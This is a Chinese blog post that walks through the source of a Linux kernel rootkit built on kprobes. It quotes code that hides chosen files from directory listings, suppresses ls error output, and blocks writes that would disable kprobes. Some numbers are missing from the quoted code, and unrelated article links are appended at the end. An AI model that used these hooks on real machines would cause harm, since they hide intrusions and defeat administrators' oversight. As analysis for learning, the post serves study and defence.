linux kprobe rootkit学习
介绍
《linux二进制分析》中提到了使用kprobe来写内核rootkit,还给出了一个简单的源码实现,这里看一下他的源码
kprobe
kprobe的介绍可以看下面这几篇文章
介绍:https://www.cnblogs.com/honpey/p/4575928.html
原理:https://www.cnblogs.com/honpey/p/4575902.html
用法:https://blog.csdn.net/luckyapple1028/article/details/52972315
rootkit
用来隐藏进程,文件等信息的恶意软件
关于rootkit用来实现隐藏的一些基本操作可以在这里看见:https://www.cnblogs.com/likaiming/p/11002351.html
使用kprobe来写rootkit
作者的源码在这里:https://github.com/elfmaster/kprobe_rootkit
这里分析一下这个项目的源码
这个rootkit只是实现了文件的隐藏,其中被隐藏的文件存放在hidden_files中,定义在文件头
char *hidden_files[] =
{
#define HIDDEN_FILES_MAX 3
"test1",
"test2",
"test3"
};
在模块初始化的时候,先通过符号表来找到sys_write和filldir64这两个函数的位置
filldir64_kp.kp.addr = syswrite_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("sys_write");
filldir64_kp.kp.addr = filldir64_jp.kp.addr = (kprobe_opcode_t *)n_kallsyms_lookup_name("filldir64");
然后就向这两个函数的开头和结尾注册了jprobe和retprobe
//向sys_write和filldir64注入jprobe和retprobe
register_kretprobe(&filldir64_kp);
register_kretprobe(&syswrite_kp); register_jprobe(&filldir64_jp);
register_jprobe(&syswrite_jp);
同时还会去找另外3个函数的地址,get_task_comn是获得
_sys_close = (void *)n_kallsyms_lookup_name("sys_close");
_sys_open = (void *)n_kallsyms_lookup_name("sys_open");
_get_task_comm = (void*)n_kallsyms_lookup_name("get_task_comm");
然后有4个kprobe结构,包含着我们的实现代码
static struct jprobe syswrite_jp =
{
.entry = (kprobe_opcode_t *)j_sys_write
}; static struct jprobe filldir64_jp =
{
.entry = (kprobe_opcode_t *)j_filldir64
}; static struct kretprobe filldir64_kp =
{
.handler = filldir64_ret_handler,
.maxactive = NR_CPUS
}; static struct kretprobe syswrite_kp =
{
.handler = sys_write_ret_handler,
.maxactive = NR_CPUS
};
先看filldir64的两个函数
//遍历隐藏文件列表,查看是不是和隐藏文件同名
for (i = ; i < HIDDEN_FILES_MAX; i++)
if (strcmp(hidden_files[i], name) == )
found_hidden_file++;
if (!found_hidden_file)
goto end;
如果有,则记录在全局变量中
//全局指针,如果有,则记录下这么目录,
g_dentry.d_name_ptr = (unsigned long)(unsigned char *)dirent->d_name;
g_dentry.bypass++; // note that we want to bypass viewing this file
在返回的时候,如果发现是需要隐藏的目录,则直接清除掉
static int filldir64_ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs)
{
char *ptr, null = ;
/* Someone is looking at one of our hidden files */
if (g_dentry.bypass)
{
/* Lets nullify the filename so it simply is invisible */
ptr = (char *)g_dentry.d_name_ptr;
copy_to_user((char *)ptr, &null, sizeof(char));
}
}
在write系统调用中下kprobe,是为了防止向/sys/kernel/debug/kprobes/enabled写值来禁止kprobe机制,作者只做了这个功能
可以通过get_task_comn来获取进程的可执行文件名字
_get_task_comm(comm, current);
printk("comm: %s\n", comm);
if (strcmp(comm, "ls"))
goto do_inode_check;
else
/* check to see if this is an ls stat complaint, or ls -l weirdness */
/* There are two separate calls to sys_write hence two strstr checks */
if (strstr(s, "cannot access") || strstr(s, "ls:"))
{
printk("Going to redirect\n");
goto redirect;
}
然后通过检查inode值来看写入的文件是不是/sys/kernel/debug/kprobes/enabled
//先得到file结构,然后得到dentry,最后再得到inode结构
file = fget(fd);
if (!file)
goto out;
dentry = dget(file->f_path.dentry);
if (!dentry)
goto out;
ino = dentry->d_inode->i_ino;
dput(dentry);
fput(file);
/* If someone tries to disable kprobes or tries to see our probes */
/* in /sys/kernel/debug/kprobes, it aint happening */
//enabled_ino表示的是sys/kernel/debug/kprobes/enabled的inode值
if (ino == enabled_ino)
{
printk("ino: %u\n", ino);
goto redirect;
}
else
goto out;
最后就是如果判断正确,则将这个进程输出导向NULL而不是写入/sys/kernel/debug/kprobes/enabled,具体做法就是这样
//KERNEL_DS范围很大,到0xffffffffffffffff
mm_segment_t o_fs = get_fs();
set_fs(KERNEL_DS); _sys_close(fd);
fd = _sys_open(devnull, O_RDWR, ); set_fs(o_fs);
global_fd = fd;
关于这部分的用法直接搜索就可以了,比如:https://www.cnblogs.com/bittorrent/p/3264211.html
在write写结束的位置,再关闭NULL文件就可以了。
linux kprobe rootkit学习的更多相关文章
- linux lkm rootkit常用技巧
简介 搜集一下linux lkm rootkit中常用的一些技巧 1.劫持系统调用 遍历地址空间 根据系统调用中的一些导出函数,比如sys_close的地址来寻找 unsigned long ** g ...
- 20135231 —— Linux 基础入门学习
20135231 何佳 学习计时:共12小时 读书:5 代码:2 作业:2 博客:3 一.学习目标 1. 能够独立安装Linux操作系统 2. 能够熟练使用Linux系统的基本命令 3. 熟练使用Li ...
- Linux系统新手学习的11点建议
随着Linux应用的扩展许多朋友开始接触Linux,根据学习Windwos的经验往往有一些茫然的感觉:不知从何处开始学起.这里介绍学习Linux的一些建议. 一.从基础开始:常常有些朋友在Linux论 ...
- Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)
Linux进程间通信IPC学习笔记之同步二(SVR4 信号量)
- Linux进程间通信IPC学习笔记之同步二(Posix 信号量)
Linux进程间通信IPC学习笔记之同步二(Posix 信号量)
- Linux进程间通信IPC学习笔记之消息队列(SVR4)
Linux进程间通信IPC学习笔记之消息队列(SVR4)
- Linux进程间通信IPC学习笔记之有名管道
基础知识: 有名管道,FIFO先进先出,它是一个单向(半双工)的数据流,不同于管道的是:是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)有一个与路径名关联的名 ...
- Linux进程间通信IPC学习笔记之管道
基础知识: 管道是最初的Unix IPC形式,可追溯到1973年的Unix第3版.使用其应注意两点: 1)没有名字: 2)用于共同祖先间的进程通信: 3)读写操作用read和write函数 #incl ...
- Linux防火墙iptables学习笔记(三)iptables命令详解和举例[转载]
Linux防火墙iptables学习笔记(三)iptables命令详解和举例 2008-10-16 23:45:46 转载 网上看到这个配置讲解得还比较易懂,就转过来了,大家一起看下,希望对您工作能 ...
随机推荐
- mybatis 对string类型判断比较 group case when then 综合
[quote] 特别注意两点 一个是where 的用法group的用法 case when的用法 <if test='hasLoanApplicationFlag == "1" ...
- DIV盒子模型介绍 div用法
- 【论文学习】Is the deconvolution layer the same as a convolutional layer
结合上升采样upsample和卷积操作.Sub-piexl convolution. Efficient Sub-pixel-convolutional-layers. LR network,即低分辨 ...
- acl设置问题
在学习nfs服务配置的时候用到了acl规则(服务配置文件权限设置可写,但是由于客户端映射,不能写入,所以要设置系统权限),但是遇到了一个小小的问题:一.当使用-x选项取消规则的时候,再次查看权限后面仍 ...
- Android:JNA实践(附Demo)
一.JNA和JNI的对比 1.JNI的调用流程 Android应用开发中要实现Java和C,C++层交互时,想必首先想到的是JNI,但是JNI的使用过程十分繁琐,需要自己再封装一层JNI接口进行转 ...
- Qt编写自定义控件14-环形进度条
前言 环形进度条,用来展示当前进度,为了满足大屏UI的需要特意定制,以前有个叫圆环进度条,不能满足项目需要,只能重新定做,以前的进度间距不能自适应分辨率,而且当前进度对应的反的进度不能单独设置颜色,即 ...
- docker网络(3)
docker网络介绍 大量的互联网应用服务需要多个服务组件,这往往需要多个容器之间通过网络通信进行相互配合. docker 网络从覆盖范围可分为单个 host 上的容器网络和跨多个 host 的网络. ...
- 经典MapReduce作业和Yarn上MapReduce作业运行机制
一.经典MapReduce的作业运行机制 如下图是经典MapReduce作业的工作原理: 1.1 经典MapReduce作业的实体 经典MapReduce作业运行过程包含的实体: 客户端,提交MapR ...
- mysql 批量kill locked 进程
mysql -s -e "show processlist;" | grep 'Sending data' | awk '{print "kill "$1&qu ...
- 在spring的业务层获取request,response
1.直接通过controller层获取到传输到业务层2.SpringMVC提供的RequestContextHolder可以直接获取代码: RequestAttributes requestAttri ...